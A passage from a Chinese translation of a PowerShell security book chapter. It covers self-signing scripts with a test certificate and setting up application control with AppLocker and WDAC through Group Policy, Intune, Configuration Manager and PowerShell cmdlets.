> $testCert = New-SelfSignedCertificate -Subject "Test Certificate" -CertStoreLocation Cert:\LocalMachine\My -Type CodeSigningCert

完成此操作后,我们将把 authenticode 证书添加到计算机的根证书存储区。根证书存储区是一个受信任的根 CA 证书列表,因此存储区中的每个证书都会被信任。

我们必须将新创建的证书从中间 CA 存储移动到 证书存储区

> Move-Item Cert:\LocalMachine\CA\$($testCert.Thumbprint) Cert:\LocalMachine\Root

现在,你的证书应该出现在两个不同的位置:

  • 本地计算机的个人证书存储区:此证书将作为代码签名证书使用。

  • 本地计算机的根证书存储区:将证书添加到计算机的根证书存储区可以确保本地计算机信任个人证书存储区以及受信任发布者证书存储区中的证书。

你可以通过使用 PowerShell 或者通过使用mmc和本地计算机的证书管理单元来验证所有证书是否都在正确的位置(运行mmc,添加证书管理单元,并选择本地计算机范围),如下图所示:

图 11.2 – 查找新创建的测试证书

图 11.2 – 查找新创建的测试证书

如果你想使用 PowerShell 检查所有证书是否已创建,可以运行以下命令:

> Get-ChildItem Cert:\LocalMachine\ -Recurse -DnsName "*Test Certificate*"

你可以在以下截图中看到此命令的输出:

图 11.3 – 验证所有证书是否都在正确的位置

图 11.3 – 验证所有证书是否都在正确的位置

现在我们已经创建了本地证书,可以开始使用Set-AuthenticodeSignature cmdlet 来对脚本进行自签名。

在这个示例中,我重用了我们在第一章中创建的HelloWorld.ps1 PowerShell 脚本,开始使用 PowerShell,该脚本可以从本书的 GitHub 仓库下载:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter01/HelloWorld.ps1

将脚本保存在C:\tmp\HelloWorld.ps1下。

如果你在会话中仍然可以使用之前创建证书时使用的$testCert变量,你当然可以重用它,但大多数情况下,当你想要签署脚本时,时间已经过去,你可能已经关闭了会话,这样该变量就无法使用了。

因此,首先,将证书分配给一个变量,以便您用它来签署脚本:

> $signingCertificate = Get-ChildItem Cert:\LocalMachine\ -Recurse -DnsName "*Test Certificate*"

请确保指定您之前创建的证书的正确名称。

为确保文件上的签名保持有效,即使证书在一年后过期,在签名脚本时使用一个可信的时间戳服务器也非常重要。您可以使用Set-AuthenticodeSignature来做到这一点。时间戳服务器会将时间戳添加到签名代码中,表示代码签名的确切日期和时间。这个时间戳用于证明代码是在证书过期之前签名的,即使证书已经过期。

因此,建议始终使用一个可靠且知名的时间戳服务器,以确保签名代码的长期有效性和真实性。时间戳协议TSP)标准定义在RFC3161中,您可以在这里阅读更多内容:www.ietf.org/rfc/rfc3161.txt

由 David Manouchehri 发布了一个很棒(但当然不是完整的)列表,您可以使用它来选择您首选的时间戳服务器:gist.github.com/Manouchehri/fd754e402d98430243455713efada710

对于我们的示例,我使用的是http://timestamp.digicert.com服务器:

> Set-AuthenticodeSignature -FilePath "C:\tmp\HelloWorld.ps1" -Certificate $signingCertificate -TimeStampServer "http://timestamp.digicert.com"

一旦脚本成功签名,输出将类似于以下内容:

图 11.4 – 脚本签名成功

图 11.4 – 脚本签名成功

您可以通过使用Get-AuthenticodeSignature -FilePath C:\tmp\HelloWorld.ps1 | Format-List命令来验证脚本是否已签名,如以下截图所示:

图 11.5 – 验证文件是否已签名

图 11.5 – 验证文件是否已签名

但这不是验证文件是否已签名的唯一方法。如果您右键点击一个已签名的文件并打开其属性,在数字签名选项卡下,您将看到用于签名的证书已被添加:

图 11.6 – 使用文件属性验证文件是否已签名

图 11.6 – 使用文件属性验证文件是否已签名

此外,如果您打开新签名的脚本,您会看到其内容发生了变化:除了代码之外,您还会看到签名——由# SIG # Begin signature block引入,并由# SIG # End signature block结束,中间是一个巨大的签名块。如以下截图所示,我已经缩短了签名块,因为签名会太大,无法在本书中显示为图片:

图 11.7 – 签名后的文件现在包含签名块

图 11.7 – 签名后的文件现在包含签名块

如果我们启用ExecutionPolicy AllSigned并尝试运行自签名脚本,则会询问我们是否真的想要从此不受信任的发布者运行软件:

图 11.8 – 执行策略提示

图 11.8 – 执行策略提示

要执行此脚本,我们必须选择[R] Run once。如果您希望每次都无需提示即可永久运行来自此发布者的脚本,可以使用[A] Always** **Run选项。

如果您希望无需任何提示即可运行来自此发布者的脚本,可以将自签名证书添加到受信任的发布者存储中。这允许您在发布者和您的计算机之间建立一个信任关系,确保来自发布者的脚本自动受信并且无中断地执行。

如果我们希望永久运行来自此发布者的脚本而无需提示,我们需要将自签名证书添加到计算机的受信任的发布者证书存储中:

> $publisherCertStore = [System.Security.Cryptography.X509Certificates.X509Store]::new("TrustedPublisher","LocalMachine")
> $publisherCertStore.Open("ReadWrite")
> $publisherCertStore.Add($testCert)
> $publisherCertStore.Close()

通过将证书添加到受信任的发布者存储中,您可以确保所有由您的自签名证书签名的代码都是可信的。由于不能使用Copy-Item从一个存储复制证书到另一个存储,因此我们必须使用证书存储 API接口来访问受信任的发布者证书存储,然后以读写权限打开它,添加我们之前创建的证书,然后再次关闭存储。

现在,如果我们再次执行HelloWorld.ps1脚本,它将在不提示我们的情况下运行,而未经签名的文件将被拒绝:

图 11.9 – 经过签名的文件可以无问题执行

图 11.9 – 经过签名的文件可以无问题执行

如果您已经实施了任何应用程序控制机制,例如 AppLocker 或 WDAP,则只允许运行经过签名的文件 – 如果 发布者已添加为信任的应用程序控制机制运行的可信来源。根据所使用的应用程序控制系统,可以通过策略中的发布者规则或其他类似机制来信任发布者。

由于脚本签名为签署的确切文件添加了签名,如果要保持签名的有效性,则无法修改该文件。如果您修改了已签名文件的内容,并使用Get-AuthenticodeSignature验证签名,您会发现签名的哈希值不再与文件内容匹配。因此,签名将无效,如果已应用未签名脚本的保护机制,则无法再执行该文件:

图 11.10 – 修改已签名文件内容后的哈希不匹配

图 11.10 – 修改已签名文件内容后的哈希不匹配

因此,每当您修改已签名文件的内容时,您需要再次对其进行签名。如果您有一个持续集成/持续交付CI/CD)管道,脚本签名可以通过Set-AuthenticodeSignature cmdlet 轻松自动化。

如果您是 CI/CD 概念的初学者,有多种方法可以构建 CI/CD 管道。仅举几例,CI/CD 管道可以通过 Azure DevOps 或 GitHub 来实现。

以下是一些帮助您入门的资源:

)

同时,确保在计划在生产环境中使用代码签名时,遵循最佳实践也非常重要。微软发布了一个代码签名最佳实践文档,您可以将其作为参考:download.microsoft.com/download/a/f/7/af7777e5-7dcd-4800-8a0a-b18336565f5b/best_practices.doc

代码签名是确保您的脚本合法且未被篡改的好方法。但正如您在本书前面学到的,仅凭执行策略并不是安全边界,且很容易被绕过。因此,仅依赖执行策略并不是一个好主意。如果您想防止未经授权的脚本在您的环境中运行,您需要实施应用程序控制解决方案。

控制应用程序和脚本

应用程序控制解决方案不仅可以防止未经授权的 PowerShell 脚本,还可以用于定义哪些应用程序、可执行文件和 DLL 被允许在环境中运行。

需要牢记的是,尽管 PowerShell 攻击可能是许多专业人员关心的问题,但它们只占通过系统传播的恶意软件的一小部分。必须重视传统的可执行文件和 DLL 攻击所带来的威胁,切勿忽视这一点。

应用程序控制解决方案通常提供禁止单个不需要的应用程序的功能,但理想的结果应始终是禁止所有应用程序并配置所有允许的应用程序。如您在第五章中所回忆的,PowerShell 非常强大——系统和 API 访问,即使您在环境中阻止了PowerShell.exe,也仍然可以通过使用本地 API 函数来运行它,无论是否有必要阻止 PowerShell(当然,您不应该这么做;更好的做法是实施并利用正确的日志记录和安全策略)。

如果你只是禁止不需要的应用程序,攻击者总是能找到绕过你限制的方法——要屏蔽的东西实在太多,仅仅禁止不需要的应用程序会让你的环境始终处于攻击的脆弱状态。

最好从直接审计你环境中使用和需要的软件开始,实施适当的应用控制策略,并防止其他一切程序的运行。

市场上有很多应用控制工具,但在本书中,我们只关注微软的 AppLocker 和 WDAC。

应用控制规划

在将严格的规则强制应用于你的生产环境之前,确保你始终审计并创建一个已使用应用程序的软硬件目录。你不希望对员工产生如此大的影响,导致他们无法正常工作。

即使你只是实施审计策略,你也已经显著改善了 SIEM 中的信噪比。考虑一下这种情况:在实施应用控制之前,你的 SIEM 每天都会被成千上万的事件淹没,这些事件来自已知和授权的应用程序,这使得识别潜在的恶意软件或不需要的软件变得极其具有挑战性。

但是,如果你只能实施 80%的应用控制策略,因此只启用审计功能,那么事件的数量就会减少到一个可管理的水平。在这种情况下,你每天只会剩下几百个事件,这些事件包含合法的软件操作以及潜在的不需要的软件或恶意软件。这种方法已经显著减少了你的 SIEM 中的噪音,并使你能够以更好的方式保护你的环境。

一旦你创建了第一个策略,确保在推出之前进行测试。一旦你准备好部署,按照以下推出策略进行:

  1. 在测试环境中测试你的策略。

  2. 尽早宣布你的配置更改是非常有用的,这样员工就能更好地进行规划。

  3. 将你的技术部门划分为几个小组,然后慢慢为第一个小组推出策略,审查审计日志,并及时修复问题。一旦修复完毕,就为下一个小组推出策略,依此类推。

  4. 如果在上一步部署时一切正常,将你的策略推广到你环境中的高级用户。不言而喻,在推出此类策略之前,始终与可能受影响的人进行沟通。

  5. 在修复所有可能的配置问题后,慢慢按部门推出策略。始终确保你将每个小组划分为子小组,并在强制更改之前与受影响的员工进行沟通。

定期审查你封锁的应用程序。这不仅有助于你识别用户可能遇到的问题,还能帮助你发现攻击的初期迹象。

确定正在使用哪些应用程序并相应调整配置需要一些时间,但这是值得的,它将大大帮助您加固环境。

首先,我们来看看在 Windows 操作系统上有哪些可用的应用程序控制选项。

内建的应用程序控制解决方案

多年来,微软一直在开发多种应用程序控制解决方案,从 Windows XP 的 SRP 到 Windows 8 引入的 AppLocker,再到最终在 Windows 10 中发布的 WDAC。

多年来,功能得到了极大的改进,每个工具都为其前版本带来了优势。如果可能,请始终使用 WDAC 进行应用程序控制,因为它会不断得到改进。但如果您仍在使用需要限制的较旧操作系统版本,可以同时运行这三种解决方案。

下图为您提供了这三种解决方案的简化比较:

图 11.11 – SRP、AppLocker 和 WDAC 的简化比较

图 11.11 – SRP、AppLocker 和 WDAC 的简化比较

当然,这不是所有功能的完整列表。请参阅以下链接,了解 SRP、AppLocker 和 WDAC 之间的差异的更详细概述:

)

这些解决方案是庞大的话题,因此您只会看到每种技术的概述,以及一些帮助您开始实施自己应用程序控制规则的技巧。由于本书的重点是 PowerShell,我们将在本章中主要关注限制和使用 PowerShell。

熟悉 Microsoft AppLocker

AppLocker 是微软推出的 SRP 的继任者,并在 Windows 7 中引入。您可以使用它扩展 SRP 的功能以及它的特性。

与 SRP 相比,AppLocker 策略可以限制特定的用户或组,并且也可以在强制执行规则之前进行审计。可以通过多种方式并行部署 SRP 和 AppLocker 策略;请查看以下文档:

要部署 AppLocker 的计算机需要安装允许强制执行 AppLocker 策略的操作系统,如 Windows Enterprise。你也可以在运行 Windows Professional 的计算机上创建 AppLocker 规则。然而,只有当这些系统通过 Intune 进行管理时,才能强制执行 AppLocker 规则。如果没有强制执行 AppLocker 规则,它们将不生效,且无法提供任何保护。

如果你想限制在不受支持的操作系统上的应用程序,可以同时部署 SRP 规则,或者使用 WDAC。

为了使 AppLocker 正常工作,要求 应用程序身份 服务必须在运行。

部署 AppLocker

你可以使用 GPO、Intune、Microsoft 配置管理器和 PowerShell 部署 AppLocker。当然,你也可以使用本地组策略编辑器进行测试。但通过此方法无法强制执行 AppLocker 规则,因此你应避免在生产环境中使用。

在使用 AppLocker 时,你可以配置五种不同的规则类型:

  • 可执行规则:使用 可执行规则,你可以限制以 .exe.com 结尾的可执行文件。

  • Windows 安装程序规则:通过配置 Windows 安装程序规则,你可以限制 .msi.mst.msp Windows 安装程序文件。

  • 脚本规则:使用 脚本规则,你可以限制 .ps1.bat.cmd.vbs.js 脚本文件。

  • DLL 规则:你可以使用 DLL 规则来限制 .dll.ocx 文件。

尽管由于性能问题,DLL 规则曾经被认为是可选的,但在当今的安全环境中,没有启用 DLL 强制执行的应用程序控制系统是不完整的,会使您的环境容易受到攻击。这些规则必须在使用和配置之前启用,并且可以使用 GPO 或本地组策略进行配置。如果您正在使用 GPO 进行配置,请转到计算机配置 | 策略 | Windows 设置 | 安全设置 | 应用程序控制策略 | **AppLocker。然后,右键单击AppLocker,选择属性** | 高级 | 启用 DLL 规则集合

  • 打包应用规则:使用打包应用规则,您可以限制.appx包文件。

对于您创建的每个规则,您需要选择一个操作。在这里,您必须决定文件是应该被允许还是被阻止,通过选择允许拒绝。通常,您希望阻止一切,只允许选定的应用程序。

使用 AppLocker 规则,也可以将规则范围限定到特定的用户或组。如果没有特别指定,规则适用于所有人

您还需要决定规则应包含的主要条件。对于打包应用规则,您只能配置一个发布者条件;对于所有其他规则,可以应用路径文件哈希条件 - 除了发布者条件:

  • 路径:使用路径条件,您可以指定一个路径,该路径将被规则允许或拒绝。您还可以定义一个异常。使用路径条件是最不安全的条件,因为文件和路径名称很容易被更改以绕过您的规则。如果可能的话,尽量避免路径规则。

  • 发布者:使用发布者条件时,文件需要进行数字签名。使用此条件,您不仅可以指定发布者 - 还可以指定产品名称、文件名以及文件版本,以确定文件是否应该被允许或拒绝。也可以定义异常。

  • 文件哈希:将为此文件计算一个加密文件哈希。如果文件发生更改,文件哈希也将发生变化。因此,哈希只能应用于一个文件,如果使用此条件,您需要为要允许或拒绝的每个文件配置一个文件哈希条件。

所有这些规则、操作、用户范围和条件都适用于所有配置方法。

在您的环境中配置 AppLocker 可能需要一些时间,但一旦实施,它就是值得的。为了帮助您进行初始配置,Aaron Margosis 在 GitHub 上发布了 AaronLockergithub.com/microsoft/AaronLocker

这个脚本和文档集合应该有助于使您的初始配置以及维护您的 AppLocker 规则尽可能简单。

AaronLocker 的背后 - 名字是从哪里来的?

AaronLocker这个名字并不是 Aaron 自己想出来的——这是我的朋友兼长期导师 Chris Jackson 的主意。不幸的是,他在不久前去世了(愿 Chris 安息!)。Aaron 并不特别喜欢将他的产品命名为自己的名字,但由于他一时想不出更好的名字,于是他妥协了,接受了 Chris 的建议,AaronLocker这个名字也就诞生了。

然而,我们目前仅了解了 AppLocker 规则的组成部分,并未学习如何通过不同的部署方法来部署和配置这些规则。因此,接下来的步骤是探索如何管理 AppLocker。

GPO

如果您使用 GPO 或本地组策略进行配置,请导航到计算机配置 | 策略 | Windows 设置 | 安全设置 | 应用程序控制策略 | **AppLocker。在此部分,您将看到可执行规则Windows 安装程序规则脚本规则打包应用规则**选项,如下所示:

图 11.12 – 使用 GPO 配置 AppLocker

图 11.12 – 使用 GPO 配置 AppLocker

要启用强制执行或审计行为,右键单击AppLocker并选择属性。在弹出的窗口中,您可以配置哪些 AppLocker 规则应被强制执行或审计。

如果您使用 GPO 作为配置方法,请确保您要配置的所有系统至少安装了 Windows 10 企业版。否则,您无法强制执行 AppLocker 规则。

如果您还想启用 DLL 规则,可以通过右键单击AppLocker并选择属性 | 高级 | 启用 DLL 规则集合来实现。请参考 DLL 规则的描述以了解更多信息。启用 DLL 规则后,它们将在 AppLocker 下显示。

Intune

在您通过 Intune 配置 AppLocker 之前,您需要使用 GPO 或本地组策略创建一个 AppLocker 策略。配置完成后,通过右键单击AppLocker并选择导出策略来导出策略:

图 11.13 – 导出 AppLocker 策略

图 11.13 – 导出 AppLocker 策略

将弹出一个窗口,您需要选择导出策略保存的路径。选择一个路径并确认;您的 AppLocker 策略将成功导出为.****xml文件。

不幸的是,您不能仅将文件内容复制并粘贴到 Intune 配置中。因此,使用编辑器打开文件并搜索每个规则类型的部分。该部分由<RuleCollection …> … 标签表示,来自RuleCollection

每种规则类型都有一个RuleCollection部分,因此,如果您想获取所有可执行文件的RuleCollection部分,请选择<RuleCollection Type="Exe" EnforcementMode="NotConfigured">之间的所有内容,包括周围的标签,如下图所示。如有需要,重复此操作以获取其他可用规则类型的部分:

图 11.14 – 选择可执行规则的 RuleCollection 部分

图 11.14 – 选择可执行规则的 RuleCollection 部分

使用 Intune 配置 AppLocker 依赖于 AppLocker 配置服务提供程序CSP):docs.microsoft.com/en-us/windows/client-management/mdm/applocker-csp.

CSP 提供了一个接口,允许移动设备管理MDM)解决方案控制、配置、读取、删除和编辑正在管理的设备的配置设置。可以使用开放移动联盟统一资源标识符OMA-URI)字符串配置 Windows 10 设备的自定义配置。

多亏了 Intune 和 AppLocker CSP,大多数操作系统可以配置为在执行模式下使用 AppLocker:

)

现在,在 Intune 中,转到 设备 | 配置文件,然后点击 创建配置文件

平台下选择Windows 10 及以后版本,在配置文件类型下选择模板,在模板下选择自定义,然后点击 创建

图 11.15 – 创建配置文件

图 11.15 – 创建配置文件

在下一页中,为您的 AppLocker 策略命名—例如,AppLocker 策略—然后点击 下一步

OMA-URI 设置部分,选择 添加 来添加您的 AppLocker 规则配置。在这里,您将使用从 .xml 导出的片段创建实际的策略。

首先,输入一个能够很好地代表策略的名称,例如 Exe 策略,如果您想开始为您的环境中的 .exe 文件配置策略。

OMA-URI 字段中,按照您刚刚配置的策略输入字符串:

  • Exe**: **./Vendor/MSFT/AppLocker/AppLocker/ApplicationLaunchRestrictions/apps/EXE/Policy

  • MSI**: **./Vendor/MSFT/AppLocker/ApplicationLaunchRestrictions/apps/MSI/Policy

  • **脚本: **./Vendor/MSFT/AppLocker/ApplicationLaunchRestrictions/apps/Script/Policy

  • DLL**: **./Vendor/MSFT/AppLocker/ApplicationLaunchRestrictions/apps/DLL/Policy

  • Appx**: **./Vendor/MSFT/AppLocker/ApplicationLaunchRestrictions/apps/StoreApps/Policy

数据类型更改为字符串,并粘贴你之前从导出的.xml文件中复制的RuleCollection行。点击保存。对于每个要配置的规则类型,在OMA-URI 设置区域中添加一个策略。一旦完成,点击审核 + 保存以保存你的配置:

图 11.16 – 配置 OMA-URI 设置

图 11.16 – 配置 OMA-URI 设置

下一步,你可以添加这些规则应该应用的计算机组。点击下一步直到进入审核 + 创建部分,审查你的规则。如果一切正常,点击创建来创建你的 AppLocker 规则。

微软配置管理器

配置管理器以前被称为系统中心配置管理器SCCM)。配置管理器包含许多预配置的配置选项和软件包,但不幸的是,没有为 AppLocker 预配置的选项。然而,它仍然可以通过自定义配置选项进行部署。

合规性设置下,创建一个新的配置项;在创建配置项向导区域,指定新策略的名称,并在没有配置管理器客户端的设备设置下选择Windows 8.1 和 Windows 10

图 11.17 – 使用配置管理器创建自定义 AppLocker 策略

图 11.17 – 使用配置管理器创建自定义 AppLocker 策略

类似于使用 Intune 进行的配置,我们也可以使用 AppLocker CSP 来配置配置管理器。

接下来,选择你要配置 AppLocker 的平台——在我的示例中,我只选择了Windows 10并点击下一步

下一步,不要选择任何设备设置;相反,勾选配置不在默认设置组中的附加设置复选框,然后点击下一步

附加设置窗格中,点击添加。将打开浏览设置窗口。接下来,点击创建设置…。一个名为创建设置的新窗口将打开,如下所示:

图 11.18 – 指定策略的名称和 OMA-URI

图 11.18 – 指定策略的名称和 OMA-URI

创建设置对话框中,输入设置的名称并指定 OMA-URI 的字符串,就像我们在Intune 配置部分所做的那样(这也是你可以在本书中找到总结的 OMA-URI 字符串的地方)。点击确定

下一步,通过双击刚刚创建的设置来指定此设置的规则,并输入一个有意义的名称,在规则类型下选择,并确保EXE 策略(或你之前配置的设置名称)等于我们在Intune部分创建的RuleCollection XML 片段

通常,配置管理器项目用于查询状态。如果状态与期望的结果不同,你可以选择配置规则,使其在支持的情况下自动修复不合规的规则。

对每种规则类型重复此步骤,直到所有规则都按要求配置完毕。

点击下一步,直到创建配置项向导任务显示为成功完成。

现在,创建一个配置基准任务,输入一个有意义的名称,然后点击添加。选择之前创建的策略将其添加到此基准,并点击确定确认。

最后但同样重要的是,通过选择基准并配置合规评估计划部署新的配置基准,以定义检查和应用基准的间隔时间。在我的例子中,我已经设置该基准应该每天运行一次。再次确认此操作并点击确定

PowerShell

当然,你也可以使用 PowerShell 配置和读取 AppLocker 规则。可以使用名为 AppLocker 的模块,该模块已经包含了多个功能,帮助你完成这项工作。

以下截图提供了所有与 AppLocker 相关的 PowerShell 命令的概览:

图 11.19 – AppLocker 模块中的功能

图 11.19 – AppLocker 模块中的功能

初看起来,这个模块提供的功能非常有限,但让我们深入研究每个函数,它们的功能比你预期的要多得多,允许你比使用用户界面更加高效地工作。

Get-AppLockerPolicy帮助你找出是否存在 AppLocker 策略。使用-Effective参数,你可以看到是否已经指定了策略:

图 11.20 – 使用 Get-AppLockerPolicy 获取有效的 AppLocker 策略

图 11.20 – 使用 Get-AppLockerPolicy 获取有效的 AppLocker 策略

你也可以使用-Local参数查看本地 AppLocker 策略中定义的内容。-Domain参数与-Ldap参数结合使用,帮助你查看当前域配置的 AppLocker 策略。当然,你还可以使用-Xml参数从.xml文件中调查策略。

使用Get-AppLockerFileInformation可以获取来自文件、路径或事件日志的所有信息:

图 11.21 – 使用 Get-AppLockerFileInformation 检索 AppLocker 文件信息

图 11.21 – 使用 Get-AppLockerFileInformation 检索 AppLocker 文件信息

在前面的截图中,你可以看到我们代码签名示例中两个演示脚本的 AppLocker 信息。通常,如果脚本是由企业或公共 CA 签名的,你还会看到发布者信息,但由于我们使用的是自签名脚本,这个证书仅用于测试目的,因此没有发布者信息,因此我们无法使用它来创建 AppLocker 发布者规则。

通常,生成 AppLocker 规则最常见的方法是基于服务器或客户端系统的黄金镜像创建策略,而不是手动选择单个文件和目录。为此,你可以使用Get-AppLockerFileInformation cmdlet 来识别图像上所有被授权运行的文件,然后使用New-AppLockerPolicy cmdlet 为每个文件自动生成相应的 AppLocker 规则。

以下示例将C:\驱动器中的所有文件进行处理,并为每个文件生成一个规则—生成的文件将保存在C:\tmp\Applocker.xml中:

> Get-AppLockerFileInformation -Directory 'C:\' -Recurse -ErrorAction SilentlyContinue | New-AppLockerPolicy -RuleType Publisher,Hash -User Everyone -RuleNamePrefix PSTmp -Xml | Out-File -FilePath "C:\tmp\Applocker.xml"

一旦文件创建完成,你需要对其进行测试和微调,以便为你的黄金镜像部署 AppLocker 规则。

另一种非常有效的部署 AppLocker 的方法是捕获来自现有已知良好系统的事件,这些系统已安装所需的软件,并且被认为是没有被攻击的。使用这些事件通过 PowerShell 生成策略可以节省你大量的时间和精力。甚至可以通过管道输入事件日志中的文件信息来自动生成 AppLocker 规则。当处理大型复杂环境时,这尤其有用,因为手动创建规则可能是一个艰巨的任务:

> Get-AppLockerFileInformation -EventLog -EventType Audited | New-AppLockerPolicy -RuleType Publisher,Hash -User Everyone -RuleNamePrefix AuditedApps -Xml | Out-File -FilePath "C:\tmp\AuditedApps-Applocker.xml"

然后,你可以使用Set-AppLockerPolicy cmdlet 来配置组策略或本地组策略,并应用指定的 AppLocker 配置:

Set-AppLockerPolicy -XmlPolicy "C:\tmp\AppLockerPolicy.xml"

要在远程域控制器上配置 GPO,确保使用-Ldap参数,并配置 LDAP 路径到策略所在的位置。如果你想将现有策略与新配置的策略合并,确保指定-Merge参数。

此 cmdlet 仅适用于组策略或本地策略。如果你通过 AppLocker CSP 配置了 AppLocker,则此 cmdlet 将无法工作。

使用Test-AppLockerPolicy cmdlet,你可以测试 AppLocker 策略,看看在指定策略应用的情况下,某个文件是否会被允许执行:

图 11.22 – 使用 Test-AppLockerPolicy 来查看 notepad.exe 或 putty.exe 是否被允许运行

图 11.22 – 使用 Test-AppLockerPolicy 来查看 notepad.exe 或 putty.exe 是否被允许运行

在这个截图中,你可以看到,使用此 AppLocker 策略,notepad.exe将被允许运行,而putty.exe将被禁止运行,因为没有配置匹配的允许规则。

在开始以强制规则执行模式部署 AppLocker 之前,您需要定期使用仅审核执行模式审核哪些应用程序和脚本可以在您的环境中使用。这样,您可以在执行规则之前将它们列入允许名单。您可以通过查看事件日志来利用日志功能实现这一点。

审核 AppLocker 事件

使用事件日志时,您不仅可以找出在使用仅审核执行模式时哪些应用程序会被阻止——还可以获得更多有趣的信息,了解您的 AppLocker 策略是如何应用的,或者哪些应用程序在强制规则 执行模式下运行。

使用 PowerShell,您可以通过运行Get-WinEvent -****ListLog *AppLocker*快速概览所有与 AppLocker 相关的事件日志:

图 11.23 – AppLocker 事件日志

图 11.23 – AppLocker 事件日志

若要从特定日志中获取所有事件 ID,使用Get-WinEvent,后跟事件日志的名称。例如,如果您想获取Microsoft-Windows-AppLocker/EXE 和 DLL日志中的所有事件 ID,您可以运行Get-WinEvent "Microsoft-Windows-AppLocker/EXE** **and DLL"

您可以在第四章中找到关于 AppLocker 事件日志及所有事件 ID 的更多详细信息,检测 – 审核 和监控

在规划 AppLocker 部署时,查看哪些应用程序被允许、拒绝或审核的统计数据也是非常有用的。您可以使用Get-AppLockerFileInformation来实现这一点,如下图所示:

图 11.24 – 审核应用程序的统计数据

图 11.24 – 审核应用程序的统计数据

使用EventType,您可以选择已允许已拒绝已审核。这样,您可以查看有关文件的所有信息,以及它尝试运行应用程序的频率和文件是否被允许或是否会被拒绝的决定。

请参考以下链接了解如何使用 AppLocker 监控应用程序使用情况:docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/monitor-application-usage-with-applocker

探索 Windows Defender 应用程序控制

随着 Windows 10 的推出,Windows Defender 应用程序控制WDAC)允许组织控制其环境中使用的应用程序和驱动程序。WDAC 作为操作系统的一部分实现,也曾以设备保护的名称出现。

建议将 WDAC 与 基于虚拟化的安全VBS)结合使用。与 VBS 配合使用时,WDAC 的安全性通过虚拟化隔离得到加强,使得攻击者更难绕过你配置的应用控制限制。虽然技术上 VBS 对 WDAC 并不是必需的,但它可以显著增强系统的整体安全性,且如果可能的话应始终启用。

与 AppLocker 规则相比,WDAC 规则会部署到整个机器,并影响每个登录到此机器的用户。但 WDAC 还提供更多功能,并被认为比 AppLocker 更安全。其原则是在信任被获得之前不信任任何东西。

例如,从微软应用商店安装的应用程序被认为是可信的,因为每个进入商店的应用都经过严格的审核过程。默认的 Windows 应用程序也被认为是可信的,无需单独列入允许名单。其他应用程序也可以通过 Microsoft Intelligence Security Graph 获得信任。

是否允许应用程序在系统上执行由所谓的 代码 完整性策略 来确保。

创建代码完整性策略

代码完整性确保只有受信任的系统文件和驱动程序在系统启动和运行时被加载到内存中。它在允许文件运行之前验证文件的数字签名,并防止未签名或签名不正确的文件加载。

用于配置自定义 WDAC 规则的策略称为 代码完整性策略CI 策略)。与其他应用程序控制机制类似,建议先在审计模式下部署策略,并在启用强制执行模式之前监控是否有意外行为。

在每个支持 WDAC 的 Windows 系统中,你可以在 C:\Windows\schemas\CodeIntegrity\ExamplePolicies 下找到一些示例策略,如以下截图所示:

图 11.25 – 内置示例代码完整性策略

图 11.25 – 内置示例代码完整性策略

如果你创建自定义策略,建议从现有的示例策略开始,然后根据需要进行修改,以构建你自己的自定义策略。以下列表将帮助你确定哪个 示例策略 最适合作为添加自定义规则的基础:

  • AllowAll.xml:如果你打算禁止不需要的应用程序,这是一个很好的基础——你只需要添加所有拒绝规则。请记住,保护系统免受未经授权访问的最佳方法是控制所有应用程序,只允许选定的应用程序。

  • AllowAll_EnableHVCI.xml:应用此策略后,您可以启用内存完整性/虚拟化保护代码完整性,以防止内存攻击。有关此主题的更多信息,请参阅以下文档:support.microsoft.com/en-us/windows/core-isolation-e30ed737-17d8-42f3-a2a9-87521df09b78

  • AllowMicrosoft.xml:此策略允许 Windows、第三方硬件和软件内核驱动程序、Windows 商店应用以及由 Microsoft 产品根证书签名的应用。

  • DefaultWindows_Audit.xml:审计模式允许 Windows、第三方硬件和软件内核驱动程序以及 Windows 商店应用。

  • DefaultWindows_Enforced.xml:强制模式允许 Windows、第三方硬件和软件内核驱动程序以及 Windows 商店应用,但阻止所有未配置的内容。

  • DenyAllAudit.xml:此策略用于跟踪关键系统上的所有二进制文件——它审计如果所有内容被阻止时将会发生什么。如果启用此策略,可能会导致 Windows Server 2019 操作系统长时间启动。

在大多数使用场景中,DefaultWindows_Audit.xmlDefaultWindows_Enforced.xml策略是创建自定义策略并根据需要通过自定义规则扩展它们的最佳选择。

还有一份 Microsoft 推荐的阻止规则列表,您应当遵循:learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

此列表中的建议还可以帮助您减轻降级攻击。这是一种攻击,攻击者利用旧版 PowerShell v2 绕过较新版本的安全功能和日志机制。我们在第四章中探讨了这种攻击,检测 – 审计 和监控

尽管此列表中的许多项目在常见策略中默认可能是允许的,但重要的是要仔细考虑在您的场景中明确需要哪些可执行文件和二进制文件,并阻止所有不必要的文件。

在使用配置管理器管理的设备上,C:\Windows\CCM\DeviceGuard目录下有一个额外的示例策略。此策略可以作为基础策略,用于通过配置管理器部署 WDAC 策略。

一旦选择了你想用作基础的示例策略,你可以开始修改所选策略的副本。你可以配置许多选项,所以你可能想要通过查看官方文档中所有可用的配置选项来开始:learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/select-types-of-rules-to-create

你可以编辑示例策略 XML 文件,或者使用 PowerShell 自动化创建代码完整性策略的过程。以下截图显示了可以操作代码完整性策略的 cmdlet:

图 11.26 – 代码完整性策略相关的 cmdlet

图 11.26 – 代码完整性策略相关的 cmdlet

一个例子是,使用 WDAC 策略向导,它利用了我们将在后续章节中查看的 WDAC CI cmdlet,并作为一个包装器,通过图形用户界面(GUI)来创建 CI 策略。你可以从官方网站下载这个有用的工具:webapp-wdac-wizard.azurewebsites.net/

也可以使用New-CIPolicy cmdlet 创建自定义的 XML 策略:一种方法是扫描参考系统并创建一个参考 XML 策略。

扫描参考系统以创建 XML CI 策略

以下示例展示了如何扫描 System32 路径和 Program Files 文件夹,并随后将两者的策略合并为一个。

首先,让我们扫描 Windows System32 路径:

> New-CIPolicy -FilePath "C:\AppControlPolicies\Windows.xml" -Level Publisher -UserPEs -ScanPath "C:\Windows\System32"

虽然-ScanPath参数表示应该被New-CIPolicy扫描的路径,-UserPEs参数表示也会扫描用户模式文件。只有在你没有提供驱动程序文件或规则,而是希望扫描参考系统或路径时,才使用-UserPEs-ScanPath参数。

使用-FilePath参数,你可以指定新创建的 CI 策略应该保存到的输出文件夹。在此示例中,我们将其保存到了C:\AppControlPolicies\Windows.xml

